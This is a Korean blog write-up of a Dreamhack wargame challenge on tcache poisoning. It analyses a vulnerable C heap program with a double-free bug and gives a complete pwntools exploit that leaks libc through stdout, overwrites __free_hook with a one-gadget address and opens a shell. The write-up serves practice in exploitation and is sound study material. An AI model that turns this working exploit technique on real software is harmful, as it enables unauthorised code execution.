보안/Wargame

[System Hacking] Tcache Poisoning

kykyky 2025. 2. 13. 15:58

보호기법 확인

PIE 없음

NX 적용됨 -> 셸코드를 실행하기 어려움

FULL RELRO 적용됨 -> GOT 오버라이트 공격 수행하기 어려움

 

=> hook overwrite 고려.

소스코드 분석

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

사용자는 chunk 할당과 임의 데이터 write 가능

 

청크를 해제하는 case 2: 부분을 살펴보면, Double Free 취약점이 존재

(: 청크를 해제하고 나서 chunk 포인터를 초기화하지 않으므로 

이를 다시 free하는 것이 가능)

chunk 포인터를 초기화하지 않으므로, 해제된 청크의 데이터를 case 4: 에서 조작 가능

-> Double Free와 관련된 보호 기법을 우회

Double-Free Bug을 활용하는 원리

임의 위치에서 데이터를 read/write하고 싶음.

임의 위치에 chunk를 할당할 수 있다면 위가 가능해짐.

 

이때 현재 소스코드 상, 사용자는 chunk 할당이 가능하므로
이 chunk의 위치를 조작하면 됨.

-> Double-Free Bug를 이용하면, chunk를 임의 위치에 할당할 수 있음
: 아무 dummy chunk를 할당한 뒤 free함 ->  tcache entry 하나가 만들어짐
이것의 key 부분을 조작함 -> 다시 free될 수 있도록 함
free함 -> 중복된 chunk가 tcache array에 존재함
이 tcache entry를 재할당하여 여기에 데이터를 write함 -> tcache array에 있는 분신 entry의 fd 포인터 부분에 그대로 write됨
: fd 포인터 부분을 임의로 조작할 수 있는 chunk를 얻게 되는 것.

이제, fd 포인터가 조작된 chunk (이 chunk 자체는 쓸모가 없다)을 재할당 -> tcache array에서 치워냄 -> tcache array의 맨 앞에는 임의의 위치(= 조작된 fd 주소)에 할당된 chunk가 맨 앞에 와있음! 

Exploit 작성

최종 목표: hook을 one-gadget으로 overwrite

-> 런타임 상 hook의 주소, 런타임 상 one-gadget의 주소 필요 

 

런타임 상 hook의 주소 = 런타임 상 libc base + hook의 offset

 

런타임 상 libc base를 알기 위해선, 

libc에 포함된 주소 중 매 런타임마다 사용자가 알아낼 수 있는 값이 존재해야 한다.

이때 소스코드 상에서 stdout이 항상 호출되므로 매 런타임에서의 stdout의 주소를 알 수 있으니,

런타임 상 libc base = 런타임 상 stdout 주소 - stdout의 offset으로 구할 수 있다.

최종 Exploit

#!/usr/bin/env python3
from pwn import *

p = remote('host1.dreamhack.games', 9993)
vulprogram_elf = ELF('./tcache_poison')
libc_elf = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def Allocate(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def Free():
    p.sendlineafter(b'Edit\n', b'2')

def Print():
    p.sendlineafter(b'Edit\n', b'3')

def Edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# 1. Libc Base 유출

# 처음 tcache[0x40]: Empty

Allocate(0x30, b'A'*8)
Free()
# -> tcache[0x40]: chunk A

Edit(b'B'*8 + b'\x00') # chunk A의 key field 조작 -> DFB mitigation
Free()
# -> tcache[0x40]: chunk A -> chunk A -> ...

stdout_addr = vulprogram_elf.symbols['stdout']
Allocate(0x30, p64(stdout_addr)) # chunk A의 fd field에 stdout가 overwrite됨 -> chunk A의 forward에 stdout 주소의 chunk가 연결됨
# -> tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
    # stdout의 forward에 _IO_2_1_stdout_가 있는 이유: stdout 포인터는 바이너리가 실행된 후 기본적으로 libc 영역의 _IO_2_1_stdout_ 주소를 가리키도록 초기화됨

Allocate(0x30, b'C'*8)
# -> tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...

_IO_2_1_stdout_lsb = p64(libc_elf.symbols['_IO_2_1_stdout_'])[0:1] 
Allocate(0x30, _IO_2_1_stdout_lsb) 
    # _IO_2_1_stdout_ 주소의 chunk를 head에 두기 위해선, stdout 주소의 chunk를 tcache array에서 치워야 하는데, 
    # 이를 위해 stdout 주소의 chunk에 data를 write할 때에는 그 원형을 최대한 보존해야 함.
    # (stdout은 표준 출력과 관련된 중요한 포인터 변수이므로)
    # 따라서 최소한인 딱 1바이트만, 그마저도 기존과 다르지 않도록, _IO_2_1_stdout_의 LSB를 write함
# -> tcache[0x40]: _IO_2_1_stdout_ -> ...
# 비로소, read하고자 하는 chunk가 tcache array의 head에 와있음 

Print()
p.recvuntil(b'Content: ')
_IO_2_1_stdout_ = u64(p.recv(6).ljust(8, b'\x00'))

libc_base = _IO_2_1_stdout_ - libc_elf.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc_elf.symbols['__free_hook']
one_gadget = libc_base + 0x4f432
slog('libc_base', libc_base)
slog('free_hook', free_hook)
slog('one_gadget', one_gadget)

# 2. Overwrite the `__free_hook` with the address of one-gadget

# 주의: 1.에서 오염된 tcache[0x40]을 재사용하면 안됨
# 이유: 현재 tcache[0x40]의 head에는 _IO_2_1_stdout_이 있으므로,
# 이 상태에서 0x30 크기로 chunk를 재할당하면, head인 IO_2_1_stdout_에 청크를 할당받게 됨. 
# 근데 이 구조체는 표준 출력과 관련하여 중요한 역할을 하므로, 임의로 값을 조작해서는 안됨

# 처음 tcache[0x50]: Empty

Allocate(0x40, b'A'*8) # chunk B
Free()
# -> tcache[0x50]: chunk B

Edit(b'B'*8 + b'\x00')
Free()
# -> tcache[0x50]: chunk B -> chunk B -> ...

Allocate(0x40, p64(free_hook))
# -> tcache[0x50]: chunk B -> __free_hook

Allocate(0x40, b'C'*8)
# -> tcache[0x50]: __free_hook
# 비로소, write하고자 하는 chunk가 tcache array의 head에 와있음

Allocate(0x40, p64(one_gadget)) # __free_hook 위치에 one-gadget 주소가 overwrite됨

Free() # hook( 위치에 있는 함수 = one-gadget)이 실행되어 shell 획득

p.interactive()

'보안 > Wargame' 카테고리의 다른 글

[System Hacking] uaf_overwrite  (0) 2025.02.02
[System Hacking] Format String Bug  (0) 2025.01.28
[Web hacking] bob12-idor-practice  (0) 2024.07.24
[System Hacking] out_of_bound  (0) 2024.07.10
[Web Hacking] file-download-1  (0) 2024.07.09